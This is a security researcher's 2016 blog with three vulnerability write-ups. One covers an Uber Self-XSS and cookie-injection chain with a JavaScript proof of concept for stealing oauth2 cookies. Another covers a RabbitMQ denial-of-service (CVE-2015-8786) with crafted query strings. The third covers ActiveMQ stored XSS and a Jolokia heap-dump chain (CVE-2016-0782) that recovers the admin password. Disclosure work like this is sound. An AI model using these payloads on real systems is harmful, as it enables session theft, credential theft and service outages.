Monday 29 August 2016

Turning Self-XSS into Good XSS v2: Challenge Completed but Not Rewarded

This appears to be the issue which I was digging for the most time during my bugbounty experience, it took more than two months to find a perfect solution for a problem.

TL;DR
I found Self-XSS on m.uber.com in late March 2016, and inspired by Jack's post I didn't give up, aiming to find a way to turn it to Good-XSS.
Finally, I found arbitrary cookie install vulnerability on business.uber.com, which allowed to install arbitrary cookies for *.uber.com for Safari users.
Chaining two bugs together could lead to Good XSS on m.uber.com, and allowed to steal oauth2 cookie of any logged-in user.
Another bughunter reported Self-XSS on the same domain while Uber team was resolving my issue, which resulted a fix of Self-XSS and refusal of appropriate reward.

Chaining bugs.
Step 1: Self-XSS
Self-Stored XSS on m.uber.com launches on index page when user simply logges in. My way to add XSS into profile was by modifying existing business profile name via mobile application. As it appeared later, there was another way to do that.



Step 2: Arbitrary cookie installation
Surprisingly, user can be authenticated on m.uber.com by only presenting COOKIE "token", apart from (riders|login|partners|anything).uber.com, which needs another COOKIE - oauth2. Hence, if it is somehow possible to login victim user into our account with Self Stored XSS, it is possible to steal oauth2 cookie of a real user (since it is scoped to *.uber.com) and perform any other malicious actions.

Arbitrary cookie install vulnerability was very lucky to find on page https://business.uber.com/new/confirm/[exploit-here], and is based on the fact that user input comes into server's response, directly into Cookie header and is not properly sanitized. Hence it was possible to install various cookies for any *.uber.com subdomain (original research here):
https://business.uber.com/new/confirm/test;,arbitrary=cookie;domain=.uber.com



Combining these two minor vulnerabilities, we can attack any external user: first login victim into account with Self-XSS, and then trigger XSS against him.

PoC exploit code:
<script>
function exploit() {
        setTimeout(function() {
                var s1 = new XMLHttpRequest(); // first request is necessary for exploitation
                s1.open('GET', 'https://m.uber.com/', false);
                s1.send(null);

                document.location.href='https://m.uber.com/'; // now redirecting to page
        }, 3000);
}
</script>

<body onload="exploit()">
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://business.uber.com/new/confirm/test;,token=XXXXXXXXXXXXXXX;domain=.uber.com', false); // insert your token here
xmlhttp.send(null);
</script>

Good news (it works!):
My exploit was working since late March, and was also working at the time of my report to Uber (May 9):


 
Bad news:
I provided all evidence that Self-XSS was found by me some time before it was reported by another researcher.
Unlikely, Self-XSS was silently patched several hours after I reported the issue through Hackerone, and I received `We're having some trouble reproducing your proof of concept <...> Thanks again and good luck in your future bug hunting.` message from triage team.
After involving Hackerone team into discussion, I got rewarded for 1000$ for arbitrary cookie installation, instead of 5k+ (Stored XSS with ability to steal sensitive COOKIE data).

Takeaway:
Never stop trying to elevate found vulnerabilities, and please don't report non-security issues out-of-scope for having only +7 of reputation, when you have a feeling that the vulnerability is potentially exploitable under higher privileges. Otherwise you will be literally killing someone's bounty - and what is worse, you will never improve.

Wednesday 24 August 2016

CVE-2015-8786 writeup: RabbitMQ

Today I'm blogging about another CVE, which I received during my research of "middleware applications". This is Part 2, so if you haven't done so, please read Part 1: ActiveMQ (or how to get admin's password in plaintext).

INTRO:
Nowadays the number of applications which work via traditional request/response principle between the user and the application continuously decrease. More and more often enterprise developers add an extra layer into the usual packet flow on the backend. Examples of such applications are all well known to all of you: WAFs, asynchronous sandbox checkers, error handlers, JMS brokers. "Middleware" applications typically receive data, process them (normalise, sort, store, etc) and afterwards pass them to backend.

Why research it?
In cases where front- and back-end applications do not contain any visible critical vulnerabilities, there still remains an opportunity for an attacker to launch a successful attack on target systems.
Also, AMQP brokers are gaining extreme popularity.

What is RabbitMQ?
RabbitMQ is software, which implements AMQP protocol, and is called a message broker. It is written with use of Erlang language.
The principal idea is pretty simple: it accepts and forwards messages. You can think about it as a post office: when you send mail to the post box you're pretty sure that Mr. Postman will eventually deliver the mail to your recipient. Using this metaphor RabbitMQ is a post box, a post office and a postman. Tutorials from official website

Today I'd like to describe a fairly basic, but still important issue in RabbitMQ Management Plugin. The reason why I'm calling the DoS vulnerability critical, is because the availability of AMQP servers is the Top-1 reason why people use them in their projects.

TL;DR
CVE-2015-8786: user-provided query parameters lengths_age and lengths_incr had no validation and could be used to exhaust server resources. ( Comments on patched release )

How to attack it?
RabbitMQ has web-based admin panel, Management Plugin, which can be accessed through port 15672. Apart from ActiveMQ’s API, RabbitMQ API does not have rich syntax, and source code analysis is fairly hard to conduct due to programming language it's written on.

In case one wants to analyse application which was written using some unknown language, one should understand the basics of the language itself to understand flaws which could be left by developer. Basic examples are: Java programmers love to deserialize, PHP programmers love to use functions vulnerable to SQL injections, Node.js programmers love to eval user input.

What is Erlang?
The concept behind Erlang is that it was developed to be suited for systems with the following characteristics:
  • Distributed
  • Fault-tolerant
  • Highly available, non-stop applications
Neither Erlang has deserialization funs, nor RabbitMQ implements RPC, so it seemed that the only vector to pwn server is to DoS it. So I started googling “Erlang errors“, and spend a while reading github issues, and found quite a lot of them in the wild: ONE, TWO, etc.

It resulted for discovery of the following attack:
Any user, who has legal access to API (admin/policymaker/management/monitoring) can launch Denial of Service attack against server, simply accessing API page with a single GET query. This attack can also be launched against unknown list of logged-in users (e.g. by creating an <img src="http://0.0.0.0:15672/[EXPLOIT]"> on any popular website), due to absence of CSRF token. Query parameters "lengths_age" and “lengths_incr” are not checked for input limits, making server to allocate exhaustive memory resources and crash.

Example of attacks:
/api/queues/%2F/?lengths_age=6000000000000000&lengths_incr=5
/api/queues/%2F/?lengths_age=60&lengths_incr=-500000000

RESULT:








Wednesday 17 August 2016

CVE-2016-0782 writeup

TL;DR

Administrator's Web Console of Apache ActiveMQ versions 5.0.0 - 5.13.0 were vulnerable to several attacks, exploiting which unauthenticated client (i.e. accessing open STOMP port) could remotely receive Administrator’s password in plaintext and thus access all ActiveMQ data, such as queues, topics and messages.

Typical attack scenario:
a)     Attacker creates a new message queue and drops a message into it, in order to exploit Stored XSS in queue name. It is even possible to email administrator with a fully prepared link with XSS.
b)     When administrator accesses the page, his browser is hooked – it accesses Attacker’s server in order to receive commands in background.
c)     Using XSS, it is possible to download all data from destination server, such as queues, topics, messages, etc.
d)     But what is more interesting – using XSS, we can access Jolokia API. Using this API, it is possible to
(1) Obtain Full Path through accessing /api/jolokia/read/java.lang:type=Runtime/ClassPath page;
(2) Call Java Garbage Collector in order to remove unnecessary objects from memory;
(3) make Heap Dump and put this file into webapps directory so it can be accessed from Web, as far as we know Full Path.
      e) By parsing Heap Dump file with regexp, it is possible to find Authorization: Basic string, which remains in memory as a part of HTTP packet, which contains administrator’s password in base64.


Demo:

Download attacker's server files. <- clickable

Vendor announcement: https://activemq.apache.org/security-advisories.data/CVE-2016-0782-announcement.txt



Description of all XSS issues:

[Unauthenticated User] tag here means that any user can reproduce this bug, using connect to default STOMP port.

1.       Vulnerability: Full Java Memory Dump can be stored to any folder on server.
Script: /api/jolokia/, method: POST 
POST data: { "type":"EXEC", "mbean":"com.sun.management:type=HotSpotDiagnostic", "operation":"dumpHeap", "arguments":["FULL_PATH",0]}

2.       Vulnerability: [Unauthenticated User] Stored XSS.
Vulnerable parameter: Queue name.
Step 1: Add new queue with vector "><svg/onload=alert(1)>
Step 2: Push a new message into this queue.
Step 3: Access this message using ActiveMQ Web Console. Alert will pop up.



3.       Vulnerability: [Unauthenticated User] Stored XML-XSS
It is necessary to create new queue with name:
1"><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>
Vector will be executed on page http://0.0.0.0:8161/admin/xml/queues.jsp


4.       Vulnerability: [Unauthenticated User] Stored XSS
Attacker should launch “consumer” script in order to receive messages from queue/topic with XSS in name:

In administrator panel, a new connection will appear in Connections tab (in case of receiving messages from topic - also in Subscribers tab). After clicking "connection" link (in order to access page with details about the connection), XSS alert will pop up:


5.       Vulnerability: [Unauthenticated User; User Interaction Required] Stored XSS
In this case, I used Demo-Example to emulate connection: /apache-activemq-5.13.0/webapps-demo/demo/mqtt/index.html :


Step 1: Demo-Example connects to server using ws:// protocol. A new connection in Connections tab (Admin Web Console) will appear.
Step 2: By clicking on the connection link, you can see a link to Destination ("Topic" - in my case).
Step 3: Symbol > is filtered, so attacker can only write additional tag attribute such as "onclick". So in my example, XSS will be launched by clicking crafted link.


6.       Vulnerability: [Self-XSS; I did not find a way to insert new subscriber by Unauthenticated user – it may be possible] Stored XML-XSS.
Step 1: Add new subscriber. Vulnerable parameters: Topic Name, Subscriber Name. Vector:
1"><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>
Step 2: XSS will be displayed on page http://0.0.0.0:8161/admin/xml/subscribers.jsp - similar to XSS #2.